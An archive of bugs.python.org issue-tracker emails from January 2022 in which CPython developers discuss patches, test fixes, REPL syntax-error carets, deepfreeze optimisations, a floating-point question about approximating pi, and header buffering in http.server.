bugs.python.org Wed Jan 19 16:05:50 2022 From: report at bugs.python.org (Ashwin Ramaswami) Date: Wed, 19 Jan 2022 21:05:50 +0000 Subject: [issue46439] Clarify urllib.request.add_header documentation In-Reply-To: <1642626026.43.0.914790012099.issue46439@roundup.psfhosted.org> Message-ID: <1642626350.91.0.228967493135.issue46439@roundup.psfhosted.org> Change by Ashwin Ramaswami : ---------- keywords: +patch pull_requests: +28904 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30708 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:24:31 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 Jan 2022 21:24:31 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642627471.15.0.242574735289.issue46437@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 263c0dd16017613c5ea2fbfc270be4de2b41b5ad by Nikita Sobolev in branch 'main': bpo-46437: remove useless `hasattr` from `test_typing` (#30704) https://github.com/python/cpython/commit/263c0dd16017613c5ea2fbfc270be4de2b41b5ad ---------- nosy: +gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:24:35 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 21:24:35 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642627475.8.0.296765915329.issue46437@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28905 pull_request: https://github.com/python/cpython/pull/30713 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:24:39 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 21:24:39 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642627479.74.0.567954948203.issue46437@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28906 pull_request: https://github.com/python/cpython/pull/30714 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 17:06:14 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 19 Jan 2022 22:06:14 +0000 Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect In-Reply-To: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> Message-ID: <1642629974.14.0.393220835481.issue46433@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 17:12:31 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 22:12:31 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642630351.37.0.915722004027.issue46437@roundup.psfhosted.org> miss-islington added the comment: New changeset 3b51926ee9838e746a5cdb08c7eb985646bd133c by Miss Islington (bot) in branch '3.9': bpo-46437: remove useless `hasattr` from `test_typing` (GH-30704) https://github.com/python/cpython/commit/3b51926ee9838e746a5cdb08c7eb985646bd133c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 17:30:31 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 22:30:31 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642631431.19.0.905236622413.issue46437@roundup.psfhosted.org> miss-islington added the comment: New changeset 07b12fdf5545a20e0fb7be9d6ad35344337e00ae by Miss Islington (bot) in branch '3.10': bpo-46437: remove useless `hasattr` from `test_typing` (GH-30704) https://github.com/python/cpython/commit/07b12fdf5545a20e0fb7be9d6ad35344337e00ae ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 17:51:36 2022 From: report at bugs.python.org (Barney Gale) Date: Wed, 19 Jan 2022 22:51:36 +0000 Subject: [issue34526] Path.relative_to() taking multiple arguments could be better documented In-Reply-To: <1535445749.23.0.56676864532.issue34526@psf.upfronthosting.co.za> Message-ID: <1642632696.04.0.535359954173.issue34526@roundup.psfhosted.org> Change by Barney Gale : ---------- nosy: +barneygale _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 18:07:56 2022 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 19 Jan 2022 23:07:56 +0000 Subject: [issue46441] Caret points to wrong line on 'return yield 42' in REPL Message-ID: <1642633676.14.0.383568464091.issue46441@roundup.psfhosted.org> New submission from Guido van Rossum : This seems to happen in 3.11 in the REPL only. >>> def f(): ... print(0) ... return yield 42 File "", line 3 def f(): ^ SyntaxError: invalid syntax Note that running it from a file gives the expected output: PS C:\Users\gvanrossum\cpython> py -3.10 .\t.py File "C:\Users\gvanrossum\cpython\t.py", line 3 return yield 42 ^^^^^ SyntaxError: invalid syntax as does the 3.10 REPL: >>> def f(): ... print(0) ... return yield 42 File "", line 3 return yield 42 ^^^^^ SyntaxError: invalid syntax ---------- assignee: pablogsal components: Parser messages: 410988 nosy: gvanrossum, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Caret points to wrong line on 'return yield 42' in REPL versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 18:34:08 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 23:34:08 +0000 Subject: [issue28970] ctypes.from_buffer counterpart to actively remove the mapping In-Reply-To: <1481715408.44.0.569114702165.issue28970@psf.upfronthosting.co.za> Message-ID: <1642635248.24.0.0929250042043.issue28970@roundup.psfhosted.org> Irit Katriel added the comment: Have you tried Mark Tolonen's suggestion on the stack overflow question, to set the instance variables to None in __exit__? ---------- nosy: +iritkatriel resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 18:52:00 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 23:52:00 +0000 Subject: [issue39065] OSError in TarFile.getmembers() In-Reply-To: <1576501631.49.0.641796091958.issue39065@roundup.psfhosted.org> Message-ID: <1642636320.12.0.850977372267.issue39065@roundup.psfhosted.org> Irit Katriel added the comment: Following Issue6584 it raises BadGzipFile. ---------- nosy: +iritkatriel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 18:53:54 2022 From: report at bugs.python.org (Irit Katriel) Date: Wed, 19 Jan 2022 23:53:54 +0000 Subject: [issue39147] using zipfile with root privilege shows FileNotFoundError In-Reply-To: <1577526962.17.0.0234769232218.issue39147@roundup.psfhosted.org> Message-ID: <1642636434.37.0.879153742915.issue39147@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer maintained. Please create a new issue if you are having this problem on a current version (>= 3.9). ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:04:04 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 00:04:04 +0000 Subject: [issue41711] Socker send method throws a timeout exception In-Reply-To: <1599212008.8.0.575018716091.issue41711@roundup.psfhosted.org> Message-ID: <1642637044.82.0.733170502223.issue41711@roundup.psfhosted.org> Irit Katriel added the comment: The timeout is mentioned in the documentation of create_connection, and of its getter and setter. It applies to many operations on the socket, but not mentioned for each method. Since it's pretty standard to have a timeout for network operations, I think the documentation is fine as it is. ---------- nosy: +iritkatriel resolution: -> not a bug status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:07:54 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 20 Jan 2022 00:07:54 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1642637274.67.0.171691999997.issue41906@roundup.psfhosted.org> Vinay Sajip added the comment: > Vinay would you consider a patch for logging where dictConfig allows taking objects directly in addition to the reference id? Sorry I didn't respond to this; it dropped off my radar. Certainly, I would consider such a patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:23:34 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 Jan 2022 00:23:34 +0000 Subject: [issue44673] Embedded Python - local directories in pythonXX._pth In-Reply-To: <1626702129.3.0.0436089797565.issue44673@roundup.psfhosted.org> Message-ID: <1642638214.02.0.290341747953.issue44673@roundup.psfhosted.org> Steve Dower added the comment: I'm afraid not. The ._pth file is intended for embedding applications that have a static set of search paths. You may want to try adding a startup file (search for PYTHONSTARTUP) that modifies sys.path directly. Or alternatively if you rename the ._pth file to a regular .pth file, it should disable the isolation protection and use the more flexible algorithm, which *I believe* will resolve relative paths against the current directory rather than where the file lives. ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:24:00 2022 From: report at bugs.python.org (STINNER Victor) Date: Thu, 20 Jan 2022 00:24:00 +0000 Subject: [issue39573] [C API] Avoid accessing PyObject and PyVarObject members directly: add Py_SET_TYPE() and Py_IS_TYPE(), disallow Py_TYPE(obj)=type In-Reply-To: <1581030432.16.0.48160379721.issue39573@roundup.psfhosted.org> Message-ID: <1642638240.19.0.572675253908.issue39573@roundup.psfhosted.org> STINNER Victor added the comment: > @victor, git bisect tells me the change f3fa63ec75fdbb4a08a10957a5c631bf0c4a5970 caused test_exceptions.ExceptionTests.test_recursion_in_except_handler to stack overflow only on windows debug builds. FYI this regression was handled last year in bpo-44348 "test_exceptions.ExceptionTests.test_recursion_in_except_handler stack overflow on Windows debug builds" and fixed at 2021-09-07 by using the trashcan mecanism in the BaseException deallocator function: New changeset fb305092a5d7894b41f122c1a1117b3abf4c567e by Victor Stinner in branch 'main': bpo-44348: BaseException deallocator uses trashcan (GH-28190) https://github.com/python/cpython/commit/fb305092a5d7894b41f122c1a1117b3abf4c567e ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:25:06 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 20 Jan 2022 00:25:06 +0000 Subject: [issue31582] Add _pth breadcrumb to sys.path documentation In-Reply-To: <1506401240.1.0.91731713201.issue31582@psf.upfronthosting.co.za> Message-ID: <1642638306.5.0.206274656051.issue31582@roundup.psfhosted.org> Steve Dower added the comment: Need to make this happen, and it probably needs to be me (though I'm happy to review a contribution). We now handle ._pth files on all platforms as part of the Modules/getpath.py changes (which I hinted to in my previous comment from 5 years ago ;) ). ---------- versions: +Python 3.11 -Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 19:33:05 2022 From: report at bugs.python.org (Yellow Dusk) Date: Thu, 20 Jan 2022 00:33:05 +0000 Subject: [issue46442] testExceptionCleanupNames doesn't test anything? Message-ID: <1642638785.66.0.497652799154.issue46442@roundup.psfhosted.org> New submission from Yellow Dusk : testExceptionCleanupNames() is supposed to test that the local variable bound to the exception instance is only visible inside the except block, and tests that by checking whether the name is in locals(), but it actually deletes the name before that, so it appears it isn't testing what it's supposed to be testing. ``` try: raise Exception() except Exception as e: self.assertTrue(e) del e self.assertNotIn('e', locals()) ``` ---------- components: Tests messages: 410997 nosy: yellowdusk1590 priority: normal severity: normal status: open title: testExceptionCleanupNames doesn't test anything? versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 20:11:33 2022 From: report at bugs.python.org (Sam Park) Date: Thu, 20 Jan 2022 01:11:33 +0000 Subject: [issue38633] shutil.copystat fails with PermissionError in WSL In-Reply-To: <1572359678.82.0.846153471805.issue38633@roundup.psfhosted.org> Message-ID: <1642641093.02.0.56591095123.issue38633@roundup.psfhosted.org> Sam Park added the comment: FWIW I just ran into this today on Ubuntu 18.04 container on GKE 1.21.5-gke.1302 and on a Ubuntu-with-Docker underlying node (if that's relevant). Applying the monkeypatch solves the issue as well. ---------- nosy: +sam.park _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 20:43:57 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 20 Jan 2022 01:43:57 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642643037.97.0.257153985397.issue46425@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset 8105dd24112509fab2eabfce5352afc41e3a34b6 by Nikita Sobolev in branch '3.9': [3.9] bpo-46425: Fix direct invocation of multiple test modules (GH-30666) (GH-30700) https://github.com/python/cpython/commit/8105dd24112509fab2eabfce5352afc41e3a34b6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 20:44:25 2022 From: report at bugs.python.org (Dong-hee Na) Date: Thu, 20 Jan 2022 01:44:25 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642643065.34.0.16871346741.issue46425@roundup.psfhosted.org> Dong-hee Na added the comment: New changeset a6a088548063226233c08b8d35dde130746fdd10 by Nikita Sobolev in branch '3.10': [3.10] bpo-46425: Fix direct invocation of multiple test modules (GH-30666) (GH-30699) https://github.com/python/cpython/commit/a6a088548063226233c08b8d35dde130746fdd10 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 22:58:58 2022 From: report at bugs.python.org (Ma Lin) Date: Thu, 20 Jan 2022 03:58:58 +0000 Subject: [issue46255] Remove unnecessary check in _IOBase._check*() methods In-Reply-To: <1641296675.58.0.463475399149.issue46255@roundup.psfhosted.org> Message-ID: <1642651138.02.0.541385560553.issue46255@roundup.psfhosted.org> Change by Ma Lin : ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 00:05:51 2022 From: report at bugs.python.org (Kubilay Kocak) Date: Thu, 20 Jan 2022 05:05:51 +0000 Subject: [issue46432] AMD64 FreeBSD Shared 3.x buildbot fails to build: error: error reading 'LASTCFLAGS' In-Reply-To: <1642606471.52.0.164766781716.issue46432@roundup.psfhosted.org> Message-ID: <1642655151.28.0.903504093132.issue46432@roundup.psfhosted.org> Kubilay Kocak added the comment: I modified the systems /etc/make.conf for unrelated purposes today (adding in LASTCFLAGS among other variables). Why and how Pythons build is inheriting that is the bigger question. I wonder if its buildbot environment related. In the short term I've removed the variables from /etc/make.conf and I have initiated a rebuild. Please leave this issue open ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 00:22:50 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 05:22:50 +0000 Subject: [issue46443] Deepfreeze use preallocated small ints Message-ID: <1642656170.86.0.231624128837.issue46443@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: gvanrossum, kumaraditya303 priority: normal pull_requests: 28907 severity: normal status: open title: Deepfreeze use preallocated small ints versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 00:25:29 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 05:25:29 +0000 Subject: [issue46443] Deepfreeze use preallocated small ints Message-ID: <1642656329.96.0.687838128368.issue46443@roundup.psfhosted.org> New submission from Kumar Aditya : It saves space in the codeobjects created by deepfreeze and reuses already cached ints so no allocation overhead. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 00:47:51 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 05:47:51 +0000 Subject: [issue46430] intern strings in deepfrozen modules In-Reply-To: <1642590983.92.0.896257318647.issue46430@roundup.psfhosted.org> Message-ID: <1642657671.39.0.990302396824.issue46430@roundup.psfhosted.org> Kumar Aditya added the comment: This speeds up comparison of strings by just comparing their pointers so it is much faster. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:13:37 2022 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 20 Jan 2022 06:13:37 +0000 Subject: [issue46443] Deepfreeze use preallocated small ints In-Reply-To: <1642656329.96.0.687838128368.issue46443@roundup.psfhosted.org> Message-ID: <1642659217.12.0.72600882466.issue46443@roundup.psfhosted.org> Guido van Rossum added the comment: New changeset 194ecc6d44adc1fb39a56ca696418368b69432ce by Kumar Aditya in branch 'main': bpo-46443: deepfreeze: use small ints and singleton zero bytes (GH-30715) https://github.com/python/cpython/commit/194ecc6d44adc1fb39a56ca696418368b69432ce ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:25:26 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 06:25:26 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function Message-ID: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> New submission from Darshan Kanade : I was solving this problem to find the approximate value of pi using the Archimedes method using two different logics - 1) The first one used the formula pi = k*cos(90-180/k) but when I gave very large input, say k=2**62 sides of polygon, then it gives the value of pi as 282.3843260569851... for comparatively smaller k=1000000 it is around 3.14 2)Because the first one was giving wrong answer for larger values, I googled for solution and came across this other logic using the formula pi = k * sin(180/k). In this method, we get values of pi around 3.14 no matter how large the input is, even if it is k=2**62! ---------- messages: 411005 nosy: Darshan priority: normal severity: normal status: open title: Wrong value of pi for larger values using math.cos() function type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:39:49 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 20 Jan 2022 06:39:49 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642660789.54.0.106390664929.issue46444@roundup.psfhosted.org> Serhiy Storchaka added the comment: Arguments of cos() and sin() should be in radians, not in degrees. So the correct formulas are k*cos(pi/2-pi/k) and k*sin(pi/k). They are useless because to find the pi approximation you need to know pi. ---------- nosy: +serhiy.storchaka resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:41:08 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 06:41:08 +0000 Subject: [issue46443] Deepfreeze use preallocated small ints In-Reply-To: <1642656329.96.0.687838128368.issue46443@roundup.psfhosted.org> Message-ID: <1642660868.72.0.32415564692.issue46443@roundup.psfhosted.org> Change by Kumar Aditya : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:48:39 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 06:48:39 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642661319.45.0.236559491421.issue46444@roundup.psfhosted.org> Darshan Kanade added the comment: In the program, I did convert degrees to radians So, this was what I used- 1)pi = k*math.cos(math.radians((90 - 180/k))) 2)pi = k*math.sin(math.radians(180/k)) where k=2**62 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:50:31 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 06:50:31 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642661431.04.0.414501556094.issue46444@roundup.psfhosted.org> Change by Darshan Kanade : ---------- status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 01:52:14 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 06:52:14 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642661534.14.0.895109414198.issue46444@roundup.psfhosted.org> Change by Darshan Kanade : ---------- resolution: not a bug -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 02:10:38 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 20 Jan 2022 07:10:38 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642662638.75.0.386836689685.issue46444@roundup.psfhosted.org> Serhiy Storchaka added the comment: Yes, math.radians() just multiplies its argument by pi/180. And what is your issue? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 02:17:02 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 07:17:02 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642663022.19.0.867063257484.issue46444@roundup.psfhosted.org> Darshan Kanade added the comment: The issue is that pi = k*math.cos(math.radians((90 - 180/k))) is giving wrong answer(289.384326...) for larger values of k, say k=2**62, but for smaller values say, k=1000000 it is giving correct answer(3.14....) pi = k*math.sin(math.radians(180/k)) on the other hand gives correct answer for any value of k (be it k=2**62 or k=1000000) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 02:37:23 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Thu, 20 Jan 2022 07:37:23 +0000 Subject: [issue46422] Why do we need `dis.Positions`? In-Reply-To: <1642509008.04.0.395294321194.issue46422@roundup.psfhosted.org> Message-ID: <1642664243.53.0.991263616108.issue46422@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28908 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30716 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 03:05:06 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Thu, 20 Jan 2022 08:05:06 +0000 Subject: [issue46382] dataclass(slots=True) does not account for slots in base classes In-Reply-To: <1642188703.34.0.911855592293.issue46382@roundup.psfhosted.org> Message-ID: <1642665906.43.0.473544906188.issue46382@roundup.psfhosted.org> Arie Bovenberg added the comment: @hynek interesting! The discussion in https://github.com/python-attrs/attrs/pull/420 on the weakref slot is very interesting as well. Considering __weakref__ is something we don't want to make impossible in dataclasses, @eric.smith what would be your preferred solution? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 03:10:48 2022 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 20 Jan 2022 08:10:48 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642666248.1.0.664772545942.issue46444@roundup.psfhosted.org> Mark Dickinson added the comment: Hi Darshan. This isn't a bug in Python. You're running into the limitations of floating-point arithmetic. There's a lot of good material on those limitations available on the web, starting with Python's own tutorial: https://docs.python.org/3/tutorial/floatingpoint.html If you want to understand what's going on in this particular case, take a closer look at the values of 90 - 180/k when k=2**62 and k=2**63, say. Are they the same? Should they be? Why / why not? ---------- nosy: +mark.dickinson resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 03:17:20 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 08:17:20 +0000 Subject: [issue45834] Move runtime except: check to the parser In-Reply-To: <1637184477.04.0.544016485338.issue45834@roundup.psfhosted.org> Message-ID: <1642666640.98.0.409599565398.issue45834@roundup.psfhosted.org> Irit Katriel added the comment: We decided on the PR that this is not worth doing. ---------- resolution: -> rejected stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 03:59:44 2022 From: report at bugs.python.org (Alex Waygood) Date: Thu, 20 Jan 2022 08:59:44 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642669184.7.0.730837864204.issue46437@roundup.psfhosted.org> Change by Alex Waygood : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 04:03:52 2022 From: report at bugs.python.org (Mario Corchero) Date: Thu, 20 Jan 2022 09:03:52 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1642669432.98.0.0873536412845.issue41906@roundup.psfhosted.org> Mario Corchero added the comment: Great! I'll put something together then. If you have any preference about the implementation or any pointer on the way you think should be done, please let me know. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 04:15:11 2022 From: report at bugs.python.org (Kumar Aditya) Date: Thu, 20 Jan 2022 09:15:11 +0000 Subject: [issue45767] Fix types for dev_t processing in posix module In-Reply-To: <1636477989.19.0.839413468229.issue45767@roundup.psfhosted.org> Message-ID: <1642670111.81.0.912682721397.issue45767@roundup.psfhosted.org> Change by Kumar Aditya : ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 04:27:57 2022 From: report at bugs.python.org (Darshan Kanade) Date: Thu, 20 Jan 2022 09:27:57 +0000 Subject: [issue46444] Wrong value of pi for larger values using math.cos() function In-Reply-To: <1642659926.26.0.654895393919.issue46444@roundup.psfhosted.org> Message-ID: <1642670877.39.0.362231699342.issue46444@roundup.psfhosted.org> Darshan Kanade added the comment: Thanks Mark, for the explanation. I had no idea about how the floating point values are represented as binary fractions in the computer hardware. It was a very informative document. Thanks again! ---------- nosy: -serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 04:49:05 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 20 Jan 2022 09:49:05 +0000 Subject: [issue37091] subprocess - uncaught PermissionError in send_signal can cause hang In-Reply-To: <1559170322.53.0.309237543574.issue37091@roundup.psfhosted.org> Message-ID: <1642672145.42.0.417600134191.issue37091@roundup.psfhosted.org> Irit Katriel added the comment: I think this was fixed in Issue37424. ---------- nosy: +iritkatriel resolution: -> duplicate status: open -> pending superseder: -> subprocess.run timeout does not function if shell=True and capture_output=True _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 05:15:44 2022 From: report at bugs.python.org (sparrowt) Date: Thu, 20 Jan 2022 10:15:44 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642673744.42.0.260267081918.issue46434@roundup.psfhosted.org> sparrowt added the comment: Thanks, yes CLA should now be working its way through the system. I guess a side question is: is it expected for docstring to have been stripped from the windows embeddable distribution, and how is that done if not with -OO? (I found --without-doc-strings but not any build scripts using it) This patch is still valid either way I think - better to show a helpful error than to explode - but I am intrigued as to the reason behind this case, deliberate or not. e.g. is there an assumption that the embed redistributable is never going to be used interactively & thus we might as well save space? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 05:36:25 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Thu, 20 Jan 2022 10:36:25 +0000 Subject: [issue43474] http.server.BaseHTTPRequestHandler end_header() fails In-Reply-To: <1615460999.3.0.75730553286.issue43474@roundup.psfhosted.org> Message-ID: <1642674985.77.0.976942137333.issue43474@roundup.psfhosted.org> G?ry added the comment: > http.server.BaseHTTPRequestHandler end_headers() can reference _header_buffer array before it is assigned. @grumblor I was about to open the same bug after reading the implementation of http.server this morning and noticing that the attribute _headers_buffer of BaseHTTPRequestHandler is used in 4 methods: - send_response_only; - send_header; - end_headers; - flush_headers but its existence is not checked only in end_headers. > It seems like sending zero headers is not supported @andrei.avk It is actually supported by the syntax of HTTP/1.1 messages, cf. RFC 7230, ? 3: HTTP-message = start-line *( header-field CRLF ) CRLF [ message-body ] For instance the method handle_expect_100 does not send any header: def handle_expect_100(self): self.send_response_only(HTTPStatus.CONTINUE) self.end_headers() return True It only writes a start line (which includes \r\n) followed by an empty line (\r\n) as a response: HTTP/1.1 100 Continue\r\n\r\n But self.end_headers() does not raise an AttributeError here like one might expect from its implementation: def end_headers(self): if self.request_version != 'HTTP/0.9': self._headers_buffer.append(b"\r\n") self.flush_headers() because, contrary to what its name suggests, self._headers_buffer does not only include the response headers but also the response start line, which is appended to the buffer before by self.send_response_only(HTTPStatus.CONTINUE): def send_response_only(self, code, message=None): """Send the response header only.""" if self.request_version != 'HTTP/0.9': if message is None: if code in self.responses: message = self.responses[code][0] else: message = '' if not hasattr(self, '_headers_buffer'): self._headers_buffer = [] self._headers_buffer.append(("%s %d %s\r\n" % (self.protocol_version, code, message)).encode( 'latin-1', 'strict')) So I am not sure it is a bug if we consider that send_response_only (which appends a start line to the buffer) is a precondition to end_headers (which appends an empty line to the buffer and flushes it). But then flush_headers should also have this precondition instead of preventing the AttributeError like this: def flush_headers(self): if hasattr(self, '_headers_buffer'): self.wfile.write(b"".join(self._headers_buffer)) self._headers_buffer = [] Let?s ask Andrew Schaaf (@endian) who introduced flush_headers in Python 3.3 (cf. https://bugs.python.org/issue3709) why he implemented end_headers by contract and flush_headers defensively. ---------- nosy: +endian, maggyero _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 20 